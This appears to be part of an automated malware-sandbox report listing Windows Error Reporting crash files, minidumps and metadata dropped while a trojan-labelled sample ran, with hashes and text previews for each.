6.b.e.2.0.4.4.b.7.3.b.f.b.7.1.7.d.9.2.d.1.3.9.6.8.e.a.c.4.7.3.d.6.4.b.8.f.c.!.S.e.c.u.r.i.t.e.I.n.f.o...c.o.m...T.r.o.j.a.n...G.e.n.e.r.i.c.K.D.Z...7.3.1.2.4...

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_SecuriteInfo.com_ed254a492c4061ee93311a4cb68fc7f99a8fd229_bd6d4f40_0792dded\Report.wer Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	12042
Entropy (8bit):	3.769335255760273
Encrypted:	false
SSDEEP:	96:c6tiN+gQJzwdTDJ23fspXIQcQnc6rCcEhcw3rr+HbHg/8BRTf3Oy1oVazWbSmf6r:Ht+Q+1H56rgjuSKUZ/u7sCS274ItAb
MD5:	7988B8B5D7FFDCC2DC64AC64D3FD62CD
SHA1:	31767EDACBF2D980D9CFD8DF14C847362A148021
SHA-256:	08045B20AB6122FB6D09EA31AE113B7B3EA3D9F659552FC6CD6C572B0B52E984
SHA-512:	A22D7D0A7205953B8152B81786E378BA3D7848AB95C3E5D8F86F76B2C4931BCAF66284DF61F3881C2B9BE9BC9A7FCD2F077F6743D7DEC91A46EEFFF68AAFF2E9
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.2.5.8.5.7.6.9.5.5.9.2.2.3.6.3.0.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.d.4.b.3.e.f.8.7.-.c.e.3.b.-.4.4.1.0.-.8.a.9.5.-.9.c.9.a.7.a.1.f.b.c.e.2.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.8.b.d.a.2.d.8.e.-.1.7.6.2.-.4.7.6.f.-.9.0.4.b.-.7.4.2.7.4.d.c.c.1.c.6.0.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.S.e.c.u.r.i.t.e.I.n.f.o...c.o.m...T.r.o.j.a.n...G.e.n.e.r.i.c.K.D.Z...7.3.1.2.4...1.9.1.7.0...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.b.e.4.-.0.0.0.1.-.0.0.1.7.-.d.b.7.9.-.0.e.0.a.0.e.0.a.d.7.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.a.f.4.4.1.b.2.a.e.c.3.9.6.5.a.6.c.b.d.1.b.3.6.9.a.6.1.3.c.c.a.5.0.0.0.0.0.9.0.4.!.0.0.0.0.e.1.6.b.e.2.0.4.4.b.7.3.b.f.b.7.1.7.d.9.2.d.1.3.9.6.8.e.a.c.4.7.3.d.6.4.b.8.f.c.!.S.e.c.u.r.i.t.e.I.n.f.o...c.o.m...T.r.o.j.a.n...G.e.n.e.r.i.c.K.D.Z...7.3.1.2.4...

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_SecuriteInfo.com_ed254a492c4061ee93311a4cb68fc7f99a8fd229_bd6d4f40_1534049b\Report.wer Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	13296
Entropy (8bit):	3.768011787528125
Encrypted:	false
SSDEEP:	96:Xr9P+gQyzwdTDJ23fspXIQcQnc6rCcEhcw3rr+HbHg/8BRTf3Oy1oVazWbSmf6qP:b7QF1H56rgjuSKU7x/u7sbS274ItAJ
MD5:	C34E0054A0F520C7BF0F106BB36D27D3
SHA1:	E085E35B03717F37BDB4B7ED631A2E797B14AE2F
SHA-256:	E95B27EB7DF6CEC7DBD2E66DE4E989F9B56CDD76447B1F959206FF83A5BCFF5C
SHA-512:	00A9DCE9825970BCA8AD2D096D16AE84041199FCFA30CAAEE3C1CCC25D295C1053BD68DFCAE8E8E7A8EA7ADD40BDA35BAE90F6D6B3AF531D6F55C669DF2AE96F
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.2.5.8.5.7.7.0.2.8.7.0.3.2.6.6.0.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.b.d.0.7.8.9.5.d.-.5.9.a.e.-.4.3.7.5.-.b.4.2.a.-.3.4.1.b.6.3.1.8.2.0.2.f.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.3.9.3.3.3.d.7.0.-.5.8.9.3.-.4.e.1.3.-.9.9.c.3.-.3.0.9.3.2.a.2.4.3.7.8.2.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.S.e.c.u.r.i.t.e.I.n.f.o...c.o.m...T.r.o.j.a.n...G.e.n.e.r.i.c.K.D.Z...7.3.1.2.4...1.9.1.7.0...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.b.e.4.-.0.0.0.1.-.0.0.1.7.-.d.b.7.9.-.0.e.0.a.0.e.0.a.d.7.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.a.f.4.4.1.b.2.a.e.c.3.9.6.5.a.6.c.b.d.1.b.3.6.9.a.6.1.3.c.c.a.5.0.0.0.0.0.9.0.4.!.0.0.0.0.e.1.6.b.e.2.0.4.4.b.7.3.b.f.b.7.1.7.d.9.2.d.1.3.9.6.8.e.a.c.4.7.3.d.6.4.b.8.f.c.!.S.e.c.u.r.i.t.e.I.n.f.o...c.o.m...T.r.o.j.a.n...G.e.n.e.r.i.c.K.D.Z...7.3.1.2.4...

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_SecuriteInfo.com_ed254a492c4061ee93311a4cb68fc7f99a8fd229_bd6d4f40_1673c8ca\Report.wer Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	13162
Entropy (8bit):	3.767793023771291
Encrypted:	false
SSDEEP:	96:gmFs+gQ2zwdTDJ23fspXIQcQnc6rCcEhcw3rr+HbHg/8BRTf3Oy1oVazWbSmf6qn:3FKQB1H56rgjuSKU7S/u7sbS274ItAI
MD5:	6FC7852F174B3EC9C45ACB4F419425B2
SHA1:	164E09F63C1D579954BB38DF69519EA5DD995539
SHA-256:	D469C87E0967108F27517636E541149FB0982D442F40CA7E1FF27F91666E4316
SHA-512:	54759A6EF9C7B1A24A9F8CC0FDBF249C7C51EF4CD474EB1035D511B3D8C139B8989F255CA0D4778A70E93B341405F80F2C69C07823B68CB1A1659C521E0B466F
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.2.5.8.5.7.7.0.1.1.9.0.6.4.7.5.2.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.9.f.7.a.c.c.e.3.-.4.3.0.e.-.4.4.d.b.-.a.b.7.7.-.2.7.d.5.1.d.9.b.3.4.a.7.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.2.4.4.0.9.c.7.2.-.d.a.4.7.-.4.a.e.c.-.8.4.5.1.-.3.3.3.f.d.7.8.5.1.f.b.f.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.S.e.c.u.r.i.t.e.I.n.f.o...c.o.m...T.r.o.j.a.n...G.e.n.e.r.i.c.K.D.Z...7.3.1.2.4...1.9.1.7.0...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.b.e.4.-.0.0.0.1.-.0.0.1.7.-.d.b.7.9.-.0.e.0.a.0.e.0.a.d.7.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.a.f.4.4.1.b.2.a.e.c.3.9.6.5.a.6.c.b.d.1.b.3.6.9.a.6.1.3.c.c.a.5.0.0.0.0.0.9.0.4.!.0.0.0.0.e.1.6.b.e.2.0.4.4.b.7.3.b.f.b.7.1.7.d.9.2.d.1.3.9.6.8.e.a.c.4.7.3.d.6.4.b.8.f.c.!.S.e.c.u.r.i.t.e.I.n.f.o...c.o.m...T.r.o.j.a.n...G.e.n.e.r.i.c.K.D.Z...7.3.1.2.4...

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_SecuriteInfo.com_ed254a492c4061ee93311a4cb68fc7f99a8fd229_bd6d4f40_18fb03b5\Report.wer Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	12040
Entropy (8bit):	3.7684228214343443
Encrypted:	false
SSDEEP:	96:8r+gQSzwdTDJ23fspXIQcQnc6rCcEhcw3rr+HbHg/8BRTf3Oy1oVazWbSmf6qXiM:mQl1H56rgjuSKUZ/u7sCS274ItA0
MD5:	21A2254861AAF829D7A5F7DA99A47E55
SHA1:	D28A6AC18E06AC71890579D790B15EBB87A8F2D2
SHA-256:	715BEF7755DF0BBC3AD1E072791EE2243ADA504712D5DAB2B0036FB03C089982
SHA-512:	4E9D0C43DB6C5A8FA939A7E8F3F4DC906F3B60C529B63906AF90CBEE6E8F927E1FA9E73EA573598655726582E374D29ECCE58C86648B7645277FB34DA7BA0DF2
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.2.5.8.5.7.6.9.6.5.3.9.1.0.7.3.3.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.e.3.7.a.b.3.a.d.-.5.0.e.5.-.4.d.d.8.-.a.0.a.c.-.b.0.1.e.b.b.2.d.4.6.0.c.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.8.b.4.6.0.8.4.7.-.6.b.1.2.-.4.9.b.0.-.a.e.b.c.-.a.7.c.4.f.e.a.0.c.2.2.0.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.S.e.c.u.r.i.t.e.I.n.f.o...c.o.m...T.r.o.j.a.n...G.e.n.e.r.i.c.K.D.Z...7.3.1.2.4...1.9.1.7.0...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.b.e.4.-.0.0.0.1.-.0.0.1.7.-.d.b.7.9.-.0.e.0.a.0.e.0.a.d.7.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.a.f.4.4.1.b.2.a.e.c.3.9.6.5.a.6.c.b.d.1.b.3.6.9.a.6.1.3.c.c.a.5.0.0.0.0.0.9.0.4.!.0.0.0.0.e.1.6.b.e.2.0.4.4.b.7.3.b.f.b.7.1.7.d.9.2.d.1.3.9.6.8.e.a.c.4.7.3.d.6.4.b.8.f.c.!.S.e.c.u.r.i.t.e.I.n.f.o...c.o.m...T.r.o.j.a.n...G.e.n.e.r.i.c.K.D.Z...7.3.1.2.4...

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_SecuriteInfo.com_ed254a492c4061ee93311a4cb68fc7f99a8fd229_bd6d4f40_195b8ccb\Report.wer Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	13070
Entropy (8bit):	3.7671893485726318
Encrypted:	false
SSDEEP:	96:qiEP+gQYzwdTDJ23fspXIQcQnc6rCcEhcw3rr+HbHg/8BRTf3Oy1oVazWbSmf6qc:OQv1H56rgjuSKU7b/u7sbS274ItAA
MD5:	87ED9ADE24DD4F6D397941E969ACF337
SHA1:	52D3934D90E463DD5E044AD93FB7B3A8C7BC58BA
SHA-256:	B216B60B8F8C50D85C2C52019C61A7959EC24B9BD0AD91A9B4BC2F9CC6BE0999
SHA-512:	51EBFFB6EE739D345A757B1F8A6AA87032AC14651C78E017AC68AA5C68F43E6D34EADEBD86512007A331BB3D0DEF6D6017AB4B62C5FA6FE7FCD82D274E09BC70
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.2.5.8.5.7.6.9.9.5.4.3.7.8.0.2.7.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.b.1.1.2.0.8.d.6.-.1.a.f.9.-.4.b.e.e.-.9.a.0.e.-.6.f.7.0.9.d.1.0.3.0.8.1.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.7.6.4.c.1.3.3.9.-.f.e.8.e.-.4.0.4.2.-.9.b.0.3.-.4.b.c.2.b.5.1.d.4.8.2.1.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.S.e.c.u.r.i.t.e.I.n.f.o...c.o.m...T.r.o.j.a.n...G.e.n.e.r.i.c.K.D.Z...7.3.1.2.4...1.9.1.7.0...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.b.e.4.-.0.0.0.1.-.0.0.1.7.-.d.b.7.9.-.0.e.0.a.0.e.0.a.d.7.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.a.f.4.4.1.b.2.a.e.c.3.9.6.5.a.6.c.b.d.1.b.3.6.9.a.6.1.3.c.c.a.5.0.0.0.0.0.9.0.4.!.0.0.0.0.e.1.6.b.e.2.0.4.4.b.7.3.b.f.b.7.1.7.d.9.2.d.1.3.9.6.8.e.a.c.4.7.3.d.6.4.b.8.f.c.!.S.e.c.u.r.i.t.e.I.n.f.o...c.o.m...T.r.o.j.a.n...G.e.n.e.r.i.c.K.D.Z...7.3.1.2.4...

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_SecuriteInfo.com_ed254a492c4061ee93311a4cb68fc7f99a8fd229_bd6d4f40_196b581e\Report.wer Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	12452
Entropy (8bit):	3.771067344673782
Encrypted:	false
SSDEEP:	96:CkgJLs+gQozwdTDJ23fspXIQcQnc6rCcEhcw3rr+HbHg/8BRTf3Oy1oVazWbSmfu:rgJ+Qf1H56rgjuSKUr/u7sCS274ItAd9
MD5:	7D59F18DCD326C7F86ED8535D8E2084C
SHA1:	8302C4FA2524EDF3E061B38761850FCECFCA5ECA
SHA-256:	83D3BF95861C4FBFA37ED133EDE00A23BB5D5A2FE76042910104F733FF66B5B4
SHA-512:	EE775DF6C0F1D39C25F19BCE89A512129B4AA9ABED5DC9BBEFAF1629292A5C6F64E6B7A31FB75B237DE8C54EE244CE00C48C28054E176AF75FC6175A408DA870
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.2.5.8.5.7.6.9.8.5.7.0.3.4.7.8.3.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.4.d.6.3.a.f.2.9.-.9.a.b.f.-.4.b.c.2.-.8.4.5.8.-.3.4.1.d.4.b.6.9.c.a.3.e.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.d.2.e.5.3.b.6.d.-.5.e.9.7.-.4.f.3.0.-.8.4.a.b.-.9.9.e.0.7.b.b.6.e.0.1.9.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.S.e.c.u.r.i.t.e.I.n.f.o...c.o.m...T.r.o.j.a.n...G.e.n.e.r.i.c.K.D.Z...7.3.1.2.4...1.9.1.7.0...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.b.e.4.-.0.0.0.1.-.0.0.1.7.-.d.b.7.9.-.0.e.0.a.0.e.0.a.d.7.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.a.f.4.4.1.b.2.a.e.c.3.9.6.5.a.6.c.b.d.1.b.3.6.9.a.6.1.3.c.c.a.5.0.0.0.0.0.9.0.4.!.0.0.0.0.e.1.6.b.e.2.0.4.4.b.7.3.b.f.b.7.1.7.d.9.2.d.1.3.9.6.8.e.a.c.4.7.3.d.6.4.b.8.f.c.!.S.e.c.u.r.i.t.e.I.n.f.o...c.o.m...T.r.o.j.a.n...G.e.n.e.r.i.c.K.D.Z...7.3.1.2.4...

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_SecuriteInfo.com_ed254a492c4061ee93311a4cb68fc7f99a8fd229_bd6d4f40_1a772140\Report.wer Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	12142
Entropy (8bit):	3.7697345759440033
Encrypted:	false
SSDEEP:	96:p0t++gQozwdTDJ23fspXIQcQnc6rCcEhcw3rr+HbHg/8BRTf3Oy1oVazWbSmf6qq:KYQf1H56rgjuSKUU/u7sCS274ItAq
MD5:	B86E575FCDDD66655339295EAD4E37F8
SHA1:	17A44E0D4A46B60280D4B47D2703F089BD2A373A
SHA-256:	B5F597510AB5A4BEFF5FC93248082F46D5FCBF3461FA5E00A6999CDF948A4273
SHA-512:	C61B75AF6B2F3EC7C33D1FECB6774D9B4852406C0A080DE6A721F6AEE1B17A2C93A5DBB5EB96D40AD6D3BD06256F63341506329426F23500DFB6CB021C107E6E
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.2.5.8.5.7.6.9.7.2.9.5.3.5.2.6.9.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.b.3.8.5.d.a.4.a.-.c.3.8.a.-.4.f.8.d.-.8.6.5.4.-.d.2.4.3.3.3.4.6.3.a.9.8.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.2.6.e.9.7.d.9.9.-.e.b.7.4.-.4.1.d.c.-.8.7.e.e.-.e.8.5.3.c.6.1.0.a.1.9.7.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.S.e.c.u.r.i.t.e.I.n.f.o...c.o.m...T.r.o.j.a.n...G.e.n.e.r.i.c.K.D.Z...7.3.1.2.4...1.9.1.7.0...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.b.e.4.-.0.0.0.1.-.0.0.1.7.-.d.b.7.9.-.0.e.0.a.0.e.0.a.d.7.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.a.f.4.4.1.b.2.a.e.c.3.9.6.5.a.6.c.b.d.1.b.3.6.9.a.6.1.3.c.c.a.5.0.0.0.0.0.9.0.4.!.0.0.0.0.e.1.6.b.e.2.0.4.4.b.7.3.b.f.b.7.1.7.d.9.2.d.1.3.9.6.8.e.a.c.4.7.3.d.6.4.b.8.f.c.!.S.e.c.u.r.i.t.e.I.n.f.o...c.o.m...T.r.o.j.a.n...G.e.n.e.r.i.c.K.D.Z...7.3.1.2.4...

C:\ProgramData\Microsoft\Windows\WER\Temp\WER13C2.tmp.dmp Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Tue Feb 23 18:02:54 2021, 0x1205a4 type
Category:	dropped
Size (bytes):	92726
Entropy (8bit):	2.306358691527937
Encrypted:	false
SSDEEP:	384:ad97Ydy6UEKzU9160KuOs+s1GfasW/xpCS9iU0lssh0aVOIkKZXmuG:07YA6UEKC16/Ls+sUfav/fhiZmuG
MD5:	C4B8CC4152E1034336C1A87B8CD858BF
SHA1:	70239C2D63FD458F20329739DBDD2FB0BCC21D20
SHA-256:	86C0410403AE6D24D30C25BB1AC5A2530EA5EC5211E756913F75544C1062B18F
SHA-512:	F514EAD34E8B0ED98ABD533F29CF1ECC1920C4C4E4812C306362F85E4217650F1CBE834BAD20151B459F8A1280AB12E27C216D4677BB6D1E9A45CD7A9008E09A
Malicious:	false
Preview:	MDMP....... .......NC5`...................U...........B..............GenuineIntelW...........T...........0C5`.............................0..2...............P.a.c.i.f.i.c. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................P.a.c.i.f.i.c. .D.a.y.l.i.g.h.t. .T.i.m.e...........................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.............................................................................................................................................................................................................................................................................................................................................................................................................................................................d.b.g.c.o.r.e...i.3.8.6.,.1.0...0...1.7.1.3.4...1.........................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	8442
Entropy (8bit):	3.7031037386976613
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNiFD6Iwfq6YJDSUbMOgmfm8MSjCpBy89ba1sfXem:RrlsNix6IwC6YdSUbMOgmfmdSyaOf3
MD5:	ED0CAFF2343B371DE80B69F0DB131BE1
SHA1:	CEAA758B0C942E98961FC604AEDD072CAC15670B
SHA-256:	E918E0C9A8FC61E3D637A3EBF97F10C67266CA4A1FFEB6B3D5DA4EC990E5E95F
SHA-512:	9B6055476CB0F5EC1FB48262A4A553E7CF3DDB9E080E99C1C8EC6A5549C11C8001E4D2D58AA464486D62E41694899CD407F7114B06FEEA74E0E58EDCB65A6220
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.1.4.0.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1D88.tmp.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4746
Entropy (8bit):	4.548556663770047
Encrypted:	false
SSDEEP:	48:cvIwSD8zsnJgtWI9kwhWSC8BOe8fm8M4JTSFy8s+q8D5UKUUvpd:uITfJfTSNAbJd8slKUUvpd
MD5:	1F9D029AF3B8E8A3ADA4938BA7070F8C
SHA1:	F7AFE325FB0FE85B2F7A412B0FFC10216CC6ACC7
SHA-256:	1D3AC9AC74E813C90239509287D8E63A218B71F89AA2A7F62AA73FE30AD9F8E1
SHA-512:	1C8A67588A2AB7D7910D9556B365DA698B5551D9CDB6083C3C252DFA17559CBEAC28D769963B1BF792BCA08CD66CBD91CDD52B2F6E69A02CDE418476C3EE5CFD
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="874273" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4590.tmp.dmp Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Tue Feb 23 18:03:07 2021, 0x1205a4 type
Category:	dropped
Size (bytes):	94070
Entropy (8bit):	2.196794118647256
Encrypted:	false
SSDEEP:	384:sksBZy8auQL6AzU9160KBOs+s1G9uNHnN4JdOh4KuKm9g0V2foXS2fLN05Wl:sMtuQ6AC16/Ys+sU9uNHneeWKuKmX0U
MD5:	1931AB5AFC2006815A9A06D9E346D176
SHA1:	0218384710BAEDCD884838B350D987B2C6A80A36
SHA-256:	C7C8919F531001E790062AB93BEF9D07E44555D651CEAC8C267955C7432D91F4
SHA-512:	DFD941D8B45E32A2031022EAC5AF55AD30F01A82F72A4FBB0A333ED931ED883F859B9D8B6B044525635CD6A3EF57ED8E0E1AE90E808364DD0439B70532BA3233
Malicious:	false
Preview:	MDMP....... .......[C5`...................U...........B......8 ......GenuineIntelW...........T...........0C5`.............................0..2...............P.a.c.i.f.i.c. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................P.a.c.i.f.i.c. .D.a.y.l.i.g.h.t. .T.i.m.e...........................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.............................................................................................................................................................................................................................................................................................................................................................................................................................................................d.b.g.c.o.r.e...i.3.8.6.,.1.0...0...1.7.1.3.4...1.........................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	8442
Entropy (8bit):	3.702134587176062
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNiFC6I7Y6YJ6SUJMUgmfm8MSjCpB989bC1sfYgJhWm:RrlsNiQ6I7Y6YkSUJMUgmfmdSDCOfYw
MD5:	0250467FEE0A7614137C8C1BDF780C1B
SHA1:	66E5E58474762895F69E0D7186D1BD4B7CF0D2FE
SHA-256:	EA8FE8ED2C2438DC674429C693C6042DB5D947037B9606B0116B5574BD1F2F2B
SHA-512:	E7839933407C7F7541B0A7778EF26E9D0B7E28754A64F1F548675104E796CFD5781E079B08F7342E76E2A4AAC426A5398410CD3297CBCC25A32C10D08C38A4AE
Malicious:	false
